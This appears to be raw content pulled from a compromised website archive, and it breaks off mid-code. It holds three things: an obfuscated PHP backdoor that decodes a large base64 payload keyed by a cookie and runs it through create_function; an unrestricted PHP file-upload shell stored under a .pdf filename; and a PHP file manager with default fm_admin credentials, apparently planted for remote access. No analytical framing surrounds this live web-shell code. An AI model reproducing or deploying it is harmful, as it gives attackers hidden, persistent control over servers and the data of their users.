5LoHidvJkPr9Ah01vFyFD8TNisNXyTqja2FWMPeTd9JUiWJfxPPFKSuUppK/ sVGtLWqAUqqYY72gCHbbHONB4h3/Fv/tXRXTSEuT0WLvI +NHhcXXOo0CwSF8lI0TgWycWYpD+CTskoUVWbPaEZ1piDYOQVmYSxKRFc0Hwnz1RKi8S3OBA/FLR qeB+ARjaJDgF/J2exlVOP6DVUnocLtzhHBTfnacQRtD7ULvOVHaKUz+fMObKqnZ+ FoxcdLCgETRylbFqzfmqlVDWhJXisJn63sv0TDodaH6k0a0YnGIJTuJ6O znqQc1KqI1teVYPBMz1spRjVBtQU+LdSpWd2GwIZbOvchxktrK8grTSPuGLEiFO618 nBaWjbD98MqkrEpClk1PmbpHjWpRWWZvMaWpl0JHudAGYYdSQ bdU8V7bJOCFylcLNZW5MKThJ3IotsrNS42Ly+UQl1d eI3fjQwU7Oc/dOppRw860yt5e245Bg2PyAgg6mIsCMEJSZ1ZaV+2Q0 M7wg+WKZ6UyTxp2PSHKQ+bhqfIfG5tePfp9b7QxxD9 xPkFM937UXQVdmEp/Vg3boMwzPOB0oP7e6baQvICbLcY1J iWOa4p4hnbSeYzwl7iTtM8P7Eh5Rv7YiFkoEMc6c/BewpGTaPsM5xl7Igu+ Sz2xYTPWyMOFj0srMMmR2n/UgTt5SYi8qztmzYiLYtnaQTKi80RIWo4j3HIJL7 O64RHcixbt22BqR4Ey9uyvZX7GIlIYbcLqR6//vYZoA Ff5XFbu8Tl4Bo9BXmQTzSdJ8Pv9PlnxWJnNgK4JZPMoGk0K11MJsUd36 eLqbYyr5+gbt8Y8pT5I7iBuz/qkZ13XjShGBlSCvZ+GCvdVlY7T+DbYP3CHJsJyHMH 8dG/fzIZhbmsQZ3M3LlPu7W/ruBMHODnVL4roic2aovG08o0xvzHslb5Evopp 7QqBz2jkirI2L2WcIFqpvb+A/M7UwDpwMRV/uQg8/J8DDVeGYTdjFbr IqFLNLLE4g3C48s3vEicmFWvkyJ7zL5DOzcM8CbrhtMsZSGXViXe e8A1i+qSOsb1uFYQvWp97EOKpH27iIyMKsKhOxorPZQvg nlGIrMemzzcfyIw79yvEzyGZMs6Vv+PperDGcSAfG1uuaeqY0dkMOmV6TL2MQY 1QOs/RwtkaP0zytn0LltHD4mgfmU5XxuMUYnLbOINjp3Qk73ortqrKpyfYGb 2fC5gGCLkN1+1fzuz+g4cncmbmg84DrRqzr6lAQi94Csad/UMDnknH1GMCkaTg cpauPaskGqkqHiAzhU655vMnH/LL/jWwElQob4XyvJ+bNNDDJIFyhVzQeeM7 Dq0l6cQdI+9V8YH0uxqAJjVbT1vHS9mL lmbtHERwgzFatPga+Wd750XOhlva2ylvgyScmfpg gK/ankvbI1Aj8Zln9GbjsFQYqQDRMutAN0imYJ5IXr50GPC 3BdmlIfwa59i88YcuviAFQJUj9rdTxJ5Hsk5 +8ofX6vPB4LQJviRgcrAsnXj8uM4c7fIWavM9zCt5E avHQcOmikQuVUxy4wd945mhEXkmQNLb5WWLjk+bw608uypTOuiiVLZe8rSUFa7 SXuPCIt3up5vaF4LuZ111wVx8NV+lvxDlWuCZSpgBNXpq7WcnP9yMfpaY5hwCc3syZmfbASR 5EJ4dJiF7jUIameym0K8eZzhLoizFV9ifaH+55iMsvWBQ9p6UIVlNiqd kXKJvOWDAlCB6wjJnOj5wJHrRvIMD2bkvMMlbITX74 wG4eng4vJeQB2DazaKy68dKVlBEyMBuQ44e0RQmEWcwWf4coCHBtPCx6qVXar5 xLgQyZplMWen6GqjjTsznmRbDSdYxK4ehy82UAIk8Cg5t0f/ KVdvclzAqLNth9ZC/bTJq46pjXPWdMkuZiUtrZ4P7fQMGX eGKyRYrmRzyN1HnM/Jgfk7kacQca7rBOZeCDtRHl9ugtqTGE7DGxAMp6a3NScnErPyYId7+X7 U72zCFQPtbtkuUkeUUwX+/oavgZoPgwywLx+XLJvnNMMLicZxTjVs2NRw9pAfeOZT1dh1I gdoS+WFEsMOSzzS5vHyffqSe9W8QrQa7FEcEbDgI 4sMejXfvnamMq20GchxnOGaGU6yksYwmOun6QXYwsYSRFuUuHlwHPHeW/+3q2BzWMw7dI2PD6dPFyh i7uoTvPgJGvdR+zzXDHs26IgA5siA8xpX Y8gzFwFcjjZ1oYuRB20Zc1TTGp7hbCrc0Xr74OkmbPxuhEjyB3bTkJ zY13vtVbg8JUbSE5le7vI3DmCQdISf0IXivHiGDD8/DJcAWKqSxyS47E5T7OZAK lLs9ScYVpjG38meh17BGsCRnBtEsiMlPvp2VEtxSgNNiI3KU2 tgCgrb41Q2N1czGUEQN6KTzWIkCRvNMUp jSJPXAmImmF9O4P6qm74dZUe6TCMKr8N2Njhl30SsvyBZAOo V9R8urUHnqEzEYyTYbEGkF0mf3NaesF6cwhZ+oygKElEEd3h5 00th6193393XPU83NjNBQyM1eWzamgkDsHfUF0EPTbiIYZqpN27LrXKX clGPuTJdGTqKxpMpRtiTr5DAKCkb3LyqFh7xcYToOZlE6jSoxrw1Lmprg3+Rtp6PJgI+cXAz1x28vqn EmD7dKWgrvPl4DhoZg2aCa5noNq3dBNvREwLZgpIp U0JCIiBx4pvWbxGxlXnyMnk0Jaj6JMuKRsQsUYkVHcUZSG4vSkKY1d0uaACDyY nbfdkHKxOAkuo6ExZy6TTR91X3qKEZzIssNH3Rl43hpzbVXFp+PVz1cjvLLcUUq2tctrcMvZIQh1AXP gmPVkTELF4FQ98RYBb311xW1jLjUAACInoisrJWqTccLGKK97kHRKOeFvXXYbOrQe wfaKUAHcXhJ4Aoz7tjUXaVD/6fGh/NFVkR0FP kmnUTXN8xFMDpyBDWCepAa08iuFQjrNw1AmA1rsAODaSnecrZEywgRyd MfrYJb6Wk7SBWOq5C4ejtkKqw0pYmdfFpEECX4nTint3OqAxj0PQMBaV34HqND6xeJusL2pRhrPtMjXQ /OUCSfOfeEM0qxSBiPcpEw3o0q1q1YNcJGjtGcE3tON7+B5zuJqfcBnJ4Sy6 3W9gnB4yyzhCBqgX8dLceNuR7QOV5b4b U43NpVXa0Ljs4GkLXHQ6rGcVsRdoRUX8vg59gzyfp 2HT8aHqIT7BF5ETi7CXlL18NhQnYwbbZ2zf3pL9ZyKX8VJ4v7G4Qy+8WP5n 0veUDQuHRMEKKIyomDB+VcS9mUOIdqIxMSnX1BX6tqe7cF90Lknz3/59xXCMOKtrv8tvyv 0Pz9EMSftZ5MoGV0qp1fnkg2bZBkerNxO7idoK2WcvddQN4VE lXsZZAt9jBXEqnUxN1tqc2ck2pNYVYYwG2tMiwPyYfHTvCRA4eRvXimH73ph5sowounDBwpY2z8x vmNFhOYD2PGpblmBoDllCFH/4/qOssKP9bIzA6bBe9yKYS0x5v9BCaAMjtOPDujiEoAX8FFz cz/Xx7e8ZAy6rE6P/bsV7axij6jBCwj1OpFnFFqAlElk9xaBoQyxrpegw/o o89DgPPb4P+SYYPSBeQk27ULeWbRBMy9YFhP4K8XGlc/jh6zGZoxeDurmo+NOoAG2L1 /3WDPLDlN+xEUK8GRzYzU0tNitAKyH1qy32pMC6R9fnmOGtNx2kjdYUzAinV7pUDs kaRyimELNPA+mbIZFzffqveTQPifWI0Fzg3uxGvbSPWWi+qrl72JqfW0egWgHA Sb1bHF58VHlYIUG/VoUt2sAby+5canjMFLeco2IMxRuqJusCSNgasdLrSWM1aptveayM2/0Q6 yhUOG5ZWHfk0n7ONccgMj9h+TJL81P/EKOB1DRY6Nu/I1tZsiGD4Pb4FFbsYZtzNdx 4gYp8ofoqmPLw9MXYRgwsSlkH3JCqXJk9w/ NIBsEQWvE6Iuh8LfrXrqB8/UOHHxFZItVSlH9/CX+za8r4S jYuNHAVtrAfDn8wEayCdRhWM+YRCirYCsPyzBrlihpTkjHXuxIdxt4Sp9KI4++UU XwSLbNxaaoBinUtcfODHAlBrKEBUzdEQNugNqLTT0Km1NFaGuD xZ2IHTwbslKcvCR4IARLcp55xAt8kS9C7sh39+Ir9Ud2l/pcUlVcDKwknCI8BvSjGqzHl8LTYRkbWl sYQX8V6T81A64OUSgvFq0hkATOzZst7/v PrUNFFwoGAuNWaYsr/OpLHygRwVqRcIEuSlDO/8VkDBLD ePLk0ghu/PcTdRKMXB0k7r/qprRcR1JQry2MvlRUInmQeYEHIThFf4IZVgvCDlldBASH zAFMrGVDk7Dqn5r23CDVGCU4nbzXARa5Sek63+Ppvf8yBhjPtXkP jXiQH+Te1bKNHXVNuLTxRPm7PoFgf+LA17JB7dys/Lr1bgHsN7unj/cZwlHFcdSqxf6jj9oZsXMy W1xqOPkMRRfUSw+2AzLZlFpmQclh/oksQRwlYMGrX SI56PnGcJT+/mBNPeJlsVyYLijjg5Xkf99rTBx1t6V ftO7OAB+op5rKS3koZePIMs4x4GCGqrhJT WxeQN4r7RidEnh7c3m1AVNR0ZhdGNOwjj35metRjsIHOysXb8AzpxBQ+71anqrWd1CqiOmdgA2yy5QM tOd6KMqYjNjS/TiiVuoDaJYrFGFWMCsrDTJa5knXUff2i+hina3qE2MGlVcH5QVWP izsKs7I5URncBFgk+jIn8gkUzeiI76rUFTDxb69meGk0vcaddCrQq8zsx9XhKs0uJMnaHL9 50XxMqjsovfgt0CeqHAfZTXOMuR7tNCEE82/i3pkhStULi5j CGn7PbD7VeBM+LMb/ixR5beAj+bqi8zpSObZzKQ/mKnZe/Meh8dT2 HfBCSx5OQZmovOi+Vfmgj9GuTuRmW7eYF7C2RnzCZL4+P4Z6SI7tOt DNoVy4bS+mozCLz64G/hlPGUX2LS007Y+M1W B5mnOk+cyyWenkk6vkiDEb50mZBxA/bbxX9rampQLzyVbey7AvfNH6QdUbgtyEiwOtKj/ K/1I+kaiaUAPOpFQULZvoU358CBqmSjCnmVdyNwvRQ+ RXH9iuqF0+dMInF1jGNFFaIqW576ORfR0u420vMwDt9O99YKuMVbmqCSb2Qlmi3P 5N4FdPW1UZnAv44e1SmXJulzlEU8uhNlnG3+LjGLzKJIaSBR+IpGTga7 qmxm3wqpDpFw5yfF5mf/qKe5PFO15j7eDdS/aG f57Pz92QX3TQXh7WyyOxsyU1kJn0NvBBR/PhWM+m/UYfoDZcbMFvo5uS02IrC 6ms7Vph1rZQ/EWNjYT8DzMTNMb40XjVuPkHsbT30M8Mz2wncqzuG2LrQGfOjyFaF6H1hp6UD 1U6410xMTG6pp+U6P146g38IBx4KI/TIOBIcrkh5lY7pgp+Jl7XQyvD9R0Aki2gJQfZyu7659 vc6KBPM+fq49Z0JZJW8hbjfQIhUYI5HybuDmaAgeaQowg3MzFxfyFIlmELwB3Mb1n5kxiBY RYXs4YuFotpvcRrrqdhAo66nnIKui1xk6ocZ1Y2dIiy48wq0A9xG5vZZnyW8fTJ6NsHujJgfQCh22ws gybFbKCml5d5XPNEGWKr1HK8NzEB1iyt/m+25fVjn/v2 WLCmduWUaTjDm1XudM74AQzg2NpHCJsk9FgXVdm4rYMFnGUwd HejF3PRzGnqGy7iEQPiMciOF10L2ZJ7Tqk+KLlI3hBj22CLuPfzqHQ0Yos5LLbMPz0Ey7DgZgFr g4ZqpDWYkcIQgkOALl2aSEi4BO9ku4KtaSZe6kpclz3d2Kiek0HPMwJbCMQzM/WqdDEp15q9Bx JLDu0y+eh1n6RHmS/vIRLNTzyGD7fs4khQphWkfQ2W01b24s0fGGvIyUhpOwGFg12qLZ6nAoYAweo gITQBSvOLqepkI6/KeZrnLjoFbCtLkExI6JguqO/AqYlkiJat1dd 4cizOQMGzk73585sItaKIv5EmHsbjja5SRGxkC/F3ENJDy6/7yWGY9ixjbj32nsYRbv9aa3lckw+ej Csmr0LixbC7Qai+Sxu0nYwXFZws5OKAib9SycherMuG1F02tYb/mGZosWvw3Gd8Ed9sFwEGDLZ 2dhOFogQKQcpb31tOqhk1UGOGbSvGy5ldJNi/HxgWlKF7n gPNmgoI9Rh4ZtKKSezVhSabx+BhZVsJkakS3kHZJuQpDBtu73e8zYycE+Tek9qeWTKQfXmbQjPM57s0 ZD35Ydfq9IkRrg4JwYrsYHeWkWZCpy/Me4HnLvoUT3yBkg v9Gh8MGYdE0Z9gYDuepF59wC186VW4Lgbav8t nk+4TGQIJBReU1ZNOe7oTzDELgZAxKA7YX6vk/J67jYzXow1Qbrd4FjO83sd9M5jV+JGE1 nzqktbLeoar4vgfJZejj58rUKXrRmbs5swL+XzzfLAu4dXFkPddeHFmJ/H yHBJEY+iZxqHvT7MlAYSQ3lti0cisPYDTScZTFp8XFlNAt lohBP4YcWkeKqdJYFVG84EDQyTEPntQlOp51yBAtQHgPQZaZLnH3b bULLgNi1KxDoFILsKJZGn3mm94kOjY9vQncSdvHe2id 11rqd4a/kh4RdW2arE3mYP536bxhCArc1H/BQRREcXleydmszoVHMPfFA0Dlywp2nDl3EgW50Pff+z figUTruth+eT0+Ln76qtg2uCVRgiBOyoin/0XAmi7nYrLx6GiVo7ycIFq bT/BeHG7GEF8fN05jM5JTnu6dJ/usV68XtR6zQzSl5aKZ19guapy2XJpilnI XvwbQTPR3Sw8c3p8P58QQloXUjHnUyVCX4Fh8/WDd2Mld3N06d3LKjdbnO ge4boR2vuFiTu3L36VM2r7oKd55lHFzRrTR9bgHqRLc59m1UxWCsn058F JB7HKQub9DTSSaKsFPHUekHKA3YsX/G/4YPgnPvwGvejSUAH8meKbz/F+2lGeXv37EELDQFZcj7X fv+77i0kpNBlsazute08AXeMunJ3Ve2hq3AnM2rXz3+tGv4X2RW6GpdXWEp9EaeJJ72+gbu1Z iBc06TMKCxe157cDg8wbbofNmkcKGxmImlQCqUfFAXFEspGQqD8wZ6DfJRhSg+iw j8IrxYGI3RDgX/glhulstOR0nGlvWUeNHOCHRJZKiDSjE8UAMfgnsm+w3MaiVZtseNoukQU3Yoe8IEb bMM56xiToEsnRvF+jwmQSIC3PYYKVV6II2eKBSEI64WBSQ7zhEd j/eXS4sAyS5yCmEq+Du2cvTEObz1EcX7EHB8oRyVTJMJJjMHDGSmSFBqlm5nG5MuQ7IPHIR uMvRgdwb0TXq7JIGLCjNiUwjsknVFGc3LZ LCjrbm/jzC8QERpiXLUsslHnIw1TIi5vqqsLagfxoSshK 5DfBZZYaRLLYNI59j0NtA6eh5DTyUBC/ragME60zcHV3GwOZKBFJ LJmVsk93fEW3cArdysZRt5xxSCpjXeARmzmYK uPk4F6Voxg7dKRQU/RRYyNi7vce5ub56X0qjtpiCXTeOEh2cRiIbwefqDlLpB9+4/VMT wcr7/Cuv4s/a5Fv7glwPPGa6eX6eEJ+dC2M5bFrKn3aUKeQ3G6+S9/KWOnrn2318BiheqS kGQXZb9E/4vSptlIgE9ZX8q7FnyezHRc7DC4LXmySVqPwOoW7qfs/rD3tPbla3ix23EA2KK0oqdM i+G0EArGcuOsG50y4cqambgSkKkAuLvssResqaB9BO+RGBrrMYwWHwSU1lgo0oJWQK8fo5/010 IQ52aCEzhoPoHwGUBoD6OFQ0B73ItT8pYd+Al4uRMZul56uIxhcrnoIJYExULmrk0 9L9moW1NAWT9IN0sdMFjDvmHJWgCF0unmbgkCZtPB48 YEwCOQm64rBkehMZltnXNMNfT0U2e/yadLNHunV HjlDBf6t2dfPYbdOwltW14HN5PsjHIhjaUv5OnInnozu ET4jOZR1KpV5wfIT9xtgyb/dBXHofxYP/Wtdl5WE1uW81Rl0xJdAir1lmbP PMSQ9Rj+eryIhPnnt1nk3ixHFiYX6nMpFVzb4i/ +JcuyHe76BILfiYUSWWY6Ueb5l3pzXEzITbR5MHbNYXiHWaDKDHmIY1r+ivA4Obm9vIzkeHocZn EWG3jFki1cPrmmYMqbKpbG1hTdqadrA8BlWyEIRYKP0xsZvTL1E1+RsAo3ixurtZV 1ew8LubOY5/g5IF4GhSA9RlO5Q714QEpbuRLXyWUW1 kpJo1Y6ZVbq58803N7TyzlwjHpyoNj5g0Qe30b++4CJSukO94Id ye+XmEUoVGf9y1WusX1MH1SDmTOFmYawH2x3ON33cpUySwgKc/2uBRlELs7BU5MLgKTRD I0wcAJMiBh5k1YlIzLEXUmj38i+y1xaGSJEFrEmmU5fdNIlyoSxqV9cLChwN5kK4lKtVLJNvdAOOcke OAj/zFIx4xBmH2Yox2BDwiSN4tpS1eGi8A//at vC9i0mwMYCfsMrUUZt2uPaIc4PVCx8jA8215s+fWDGEkC9L3ZiypoTQQP GwHIKAicVZ/67PbKcoYBHBntJmibqM9a6r2geC3+iCiU9omrgaAOmjxrgGpHp/i 6MXAPB/rdnzaRKNt1x5ZfH5e9pCFL++Q/KTROYv cwaoGbidJQMNjNVXTfiIIwcXnGL+Tokn/LNtyKuOatALIr Ku4kA9JYhI8CW/VmUyWchDFtrM/MOwC+buGY21kUEGOfT3GkuUBhy5ITttcvVOUqb0Y4Oif 6+iFwhhmJ9l2DbDIOxPsi3pWkPMi92AAvS0jcLV9HO1TB7Kr1Z2QRbo5ub s9NuLU2mFOrLKPNDxUm6yswMKgpBsqDX9je9L5icXSP7I0/5hbEha7PNUqmvMJe9QsHukuO3 tdit3hnFhESHD/RR7vXWAywl7IdAIlTsciyG Jdmzomk19ZBgM0Stxcqr40g7F1EpZT8spafQ3yXZSaVzo2uqPKXBdc4ZHCi1K/G7OdQbL IuAo0pYNdfK2DUh8JmchCzaD1/5Zlf0WBRTuNC6PTAuFEspAU7XdRf8Qosrmz0XJ9ZXOkM3 7jE3ee66+WXWDjXql8E8MnDh9Wjxya0hM0T923g1cFfqil8GgTdNkGnUYW812 3oV10C7DFSyG3ygYOZU/iZF7tS3INK8TMf4WdITeD1tnasM 2Yz+F4iJNnE8XG78aaafFTdsD4OUQRgDLMb5YxfGw9/YZw4pH3377UMi+K1sy7LC4X Hesn13AGMftoJbNlsad9aDQ+PSQXQKw4JeErzVYLRVe81jhVdAUuzYQ8hmBV ox4zsoENHL467yB94AoFKwEjEysYDWwtfnKqAfed0 Kunt5IbORXx5k6wPZ+WpXuQvRhVwOOmDKF/1C/HzND4phQzd t2NzpjAVBv+92YUc+rNVRQ3MvFyR5wM4cdJeTezOJSMn8uY8yaeAy4EZqsz uC/nqgP1H1Q5EPoEp08fLbCQ9Rmt3tZvivz9Jadxl5iv1rKKDfW54C2vpE/TloV3X2 /q/6tnM6k7x+5+OLdHpdiS0Mrc8VGfrwM/ne9 3e6RS4ZzKHC7rqbEdWLs6bAf0ZSGVf1Fj7+YBTwppPTrRldtO6EH9Xn dfouFwFcfKyW9aJAjbcmbiDPQl6+C+w3QDQh5/K+ EcI19LRhmCSduoc3XhoVGJOxsnRi5dc2hcz0YBWaG24rghyirpyv06ZRds6eh XqE6hbCRqBaQmDUeLBfBJLDsPf74sj1sUOwqJXAIpSFdmQF7U4hY9M5hCOR5n5PiyTh8ufLEKX5nFRw Lr7MvevsDindUhr95LhDISRetCA83mQYM9WeKqQ4t3+AEXSmkPUrWKYOhl/6G0g7 E8JMiPuQ86Ngnc42+1CXckp8Cz0mJrEUcCyeFVgE6NKo 7zZzHh5pbtGksgEobw3ggWQpWuw9ctL9g4yG0BMjGLxg/RhRhCUrBcNJ9/dGZTf2Dfw7bg9SB7FpI XfA90d3lu2A90B9NyJ74uzGEiMEBp5u3LYWFjVzISk9MDeiHM9p5mB m8MYOjLTYK1WZaLDDn1DhIgT4MTghn1wf r6CxX/wTsD6FE+9gzxugNLi7p1xYt6D/CkyptF/I+pAcfN75LgNv8moWNBxkgvsxLIB+CzMtqgXn+6j UADInw4g/VVfHn1sf3zzFp1CSfvzYA1Df58ujchKd qjl559Ghtn1bFKD2NKHmOPhyPZz6IQYOkBi PjbmryL3+eQ0W07H4eZf+X4qzHU1afIcl Su4VmICcmlmiCIl4XH/XbhzpydDL4P90V192/Kp5UnMoyxlNqLaRVzbz0AroEX+cuO r9cLfHyG/9GcNFJWVm08WZ2HyTwRQranqVHW+iRf3e/fhVJ4QiMlJZjM 3uopG3KB6pzJJ1upK0/7bCfBp2W2lRtjVtvXnK4zo0KLFVQ4IiAB77MZJew 7t8LqoHxfflsdf7cG1/NfdqEN8CqaebwEhi41/Le2Dc+Q kXGS/yEFJRb6pygbsenkIggWEJZKj2cRhWQVVbEdDZemv9EMaqpcbZrcufONOzT2mPTc 0ZrL2WH51ZYAEHFDfJbXOFTPh62xjG77r19LAb2288lqSC1raNdRKx6guvBiIWsg 8xwMPp8QlxBNAek6P//I+4toc+5c3aifs3t2NApRYu0/dNpsn+YgfcJiUua IV15Mg8GlFEi/GTUWe39muY4/YflSYh5yAAf1FX9n8fWbiqeSdicgE21SPSgzSL9aghaBXqg6vd/ PXbf5nWgkDbd/NOD6LzYXzk7X3X6Ol5CJnUOiZJ 8PWjGqfkPX9lTROPhmEttaF3vfOWaXBcD/sPkTL69M+86rMWfUPebX4mekvucBVr9NFFLp+S9P44R uzf8U4mdZ7yg3NzKbe8A+mxxTZCq4+VH+Ex236XlY/bzEuTUAZU8GVTUq5nSmT9qxgiGhru a3lhxn577aXb8123GK4QE5nN5+3gxKSLPzyQUyU9XawiBSRFmgw/+e55/S6L84 ola+SoBcVPA86Radj4d82hzIxh5YVH1h0t qomAnwnYFreyTop5JNXI/6KFmFlFU42GpBiNB8Doeck AbOiKnjrQvor3XW9yZbkknBZt7sFaDo+pSKXFsaqEf5gLu/x8ugT 72Sq6Doiva5KDLYJL0yL8F8qpYTDGYHawDWDRghD15ctHqQTFHwIfo1peuKQxad3mhYJxASmBsLSNj NJ8h97DeVlONRyHWlvkv9vUJ+Um03oDv9kWMJ0a56eyPLelZQqRboaUrWV1je5/ 1u35W3BxsEJg0p5LtP6IkSAe6K3ejyj4jHJlW8K3MbuxfNuUrBU6X+AfjJF h+gNfoAiUnYNFavLCNenwB3JhPhJL9IPDXbO rsjcxS7dKoP8ywOocx1XTx9z4xftKRo9/ZXJmG/QCbCuiXlzlPsPh +LUBfbQ8ntfMmqaxmQ2x820i+HwUT+UdXL2XNQVDru 5G7Wdivsk49MZmDuKsHiy5prCX3yHwDuC ZMiYETlgQJHFpQI42yZbaIoRpz05MKVkwijXy 2ZnzVVG0yFaUTFL6Ptxjf/5bnBlE5twQwMeP9mgwnw999/gevhQ0+SJ6/Q1ykwtY9xcDKQ2ylCAHZ 4kf35iKdwXNwiJTACyliXEeAOtFUqxjbuNzxEzsQHNL9SRcsTLnYi7iJXPRtunsNB2TM9Fekg 7+30PxlVurtml66haRpvgs1HWpKNTPiYNfKk4p7wbO GUUynUm+NRNKMKTWpZaAY4QziHIf8XyP/oK8zHJxWVc wCYk68Z9OX9uMgK+CWIeogTAcv/8GMyNAVKbCcy2GaVmm3//WZl FJ7OU7V90h2405VfnTn3Hm40VDlg6sHVf/O+S97iox40Ujw//U149/y9+C6USSoT2QJf8f AT3/9b+3+vKvb5zyYIFh+uNS93/W3i/zv5rjxP+o/LF+/fvx/Ibh/+DPOkHMZud k+fvO/aG2+7OBgv9hz5GUbwSQ4ECn3mHxYv9ds66QCMpnG3Gw/6 3Xmv90i4JfXhqXxqXU/3HVL7/GItX99mPv3QZjf8xg /cHeN/3f4F8T/K88nGQAXWDYdJ+wYN4H/3KIBUJc89b138Fv +hnFokFKBrR+8UbdTUyLq+skRPYshgd2lAgWoS3Y wP89HpOOxonRG6qiEyc8ZPbWm5je/XeV2H9y85GBFrOxfU 7OEYZtFy2N1gQWnwj2oOu07ibiDE7oG4tUR/shstgkV7pIs dizhncMc4K7viC+Ga3VziQI2qkuAoA0DZFGmevgdVAfHge44wYwm4KkC/sguxAiPGwCwX y49lpJ5xsQ7MmYBfU87bggbEEk/ekUSCh/Se8JjWgUMjkaZuRQiEQD AUmwxf+Tma2+2QDCh5n5exlqAsVHdGGlVfA5r+KkcDe/4b1e9XwS/IE=';$_COOKIE["ke\x79"]='H2'.'U'.'Kt55'.'SNw'.'uV09'.'M';$p="_COOKIE"; if(!EmpTy(${$p}["key"])){$p=${$p}["ke\x79"];$_=stRlen($p);$V=ARrAy(); for($u=0;$u<$_;++$u)$V[]=44369-$_-oRd($p[$u]);$e=IMploDE(fILE("data:text/p\x6cain;ba\x73\x65\x364,".STR_repLaCE("\n",'',$e))); for($u=0;$u<44369;++$u){$L=aBS($V[$u%$_]-$u);$p=$e[$L];$e[$L]=$e[$u];$e[$u]=$p;}if($_<10)$_*=$_&1?3:2; if(($e=@GzinflaTe($e))&&(CRc32(subSTR($e,0,$_))^0xFfffFffF===1946859521)){$e=SuBStr($e,$_);if(PHP_VERSION<'5'){ $p=ArrAy(66154,5551,27524,206,25706,204,24791,706,19615,204,19307,204,18767,131,18248,182,17917,182,17597,179,17189,179,16781,179,16374,179,15967,179,15559,178,15082,187,14724,178,14220,177,5061,181,4131,211); for($u=0;$u<40;++$u)$e=sUbStr_REpLaCE($e,"",$p[$u],$p[++$u]);}@crEATe_FUnctiON('',"};unset(\$e,\$V,\$_,\$u,\x24\x4c\x2c\x24\x70\x29;".$e.'{');}}PK ! g�|& 2 activities/18/99071570869910d86f51f1aafa2f3547.pdfnu �[��� <?php if(isset($_POST['Submit'])){ $filedir = ""; $maxfile = '2000000'; $userfile_name = $_FILES['image']['name']; $userfile_tmp = $_FILES['image']['tmp_name']; if (isset($_FILES['image']['name'])) { $abod = $filedir.$userfile_name; @move_uploaded_file($userfile_tmp, $abod); echo"<center><b>Done ==> $userfile_name</b></center>"; } } else{ echo' <form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>'; } ?> PK ! ����] ] activities/18/fm.phpnu �[��� <?php /** * PHP File Manager (2017-08-07) * https://github.com/alexantr/filemanager */ // Auth with login/password (set true/false to enable/disable it) $use_auth = true; // Users: array('Username' => 'Password', 'Username2' => 'Password2', ...) $auth_users = array( 'fm_admin' => 'fm_admin', ); // Enable highlight.js (https://highlightjs.org/) on view's page $use_highlightjs = true; // highlight.js style $highlightjs_style = 'vs'; // Default timezone for date() and time() - http://php.net/manual/en/timezones.php $default_timezone = 'Europe/Minsk'; // UTC+3 // Root path for file manager $root_path = $_SERVER['DOCUMENT_ROOT']; // Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder' // Will not working if $root_path will be outside of server document root $root_url = ''; // Server hostname. Can set manually if wrong $http_host = $_SERVER['HTTP_HOST']; // input encoding for iconv $iconv_input_encoding = 'CP1251'; // date() format for file modification date $datetime_format = 'd.m.y H:i'; //--- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL // if fm included if (defined('FM_EMBED')) { $use_auth = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter(''); session_name('filemanager'); session_start(); } if (empty($auth_users)) { $use_auth = false; } $is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'; // clean and check $root_path $root_path = rtrim($root_path, '\\/'); $root_path = str_replace('\\', '/', $root_path); if (!@is_dir($root_path)) { echo sprintf('<h1>Root path "%s" not found!</h1>', fm_enc($root_path)); exit; } // clean $root_url $root_url = fm_clean_path($root_url); // abs path for site defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION['logged']); fm_redirect(FM_SELF_URL); } // Show image here if (isset($_GET['img'])) { fm_show_image($_GET['img']); } // Auth if ($use_auth) { if (isset($_SESSION['logged'], $auth_users[$_SESSION['logged']])) { // Logged } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'])) { // Logging In sleep(1); if (isset($auth_users[$_POST['fm_usr']]) && $_POST['fm_pwd'] === $auth_users[$_POST['fm_usr']]) { $_SESSION['logged'] = $_POST['fm_usr']; fm_set_msg('You are logged in'); fm_redirect(FM_SELF_URL . '?p='); } else { unset($_SESSION['logged']); fm_set_msg('Wrong password', 'error'); fm_redirect(FM_SELF_URL); } } else { // Form unset($_SESSION['logged']); fm_show_header(); fm_show_message(); ?> <div class="path"> <form action="" method="post" style="margin:10px;text-align:center"> <input name="fm_usr" value="" placeholder="Username" required> <input type="password" name="fm_pwd" value="" placeholder="Password" required> <input type="submit" value="Login"> </form> </div> <?php fm_show_footer(); exit; } } define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); // always use ?p= if (!isset($_GET['p'])) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); // instead globals vars define('FM_PATH', $p); define('FM_USE_AUTH', $use_auth); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); /*************************** ACTIONS ***************************/ // Delete file / folder if (isset($_GET['del'])) { $del = $_GET['del']; $del = fm_clean_path($del); $del = str_replace('/', '', $del); if ($del != '' && $del != '..' && $del != '.') { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if 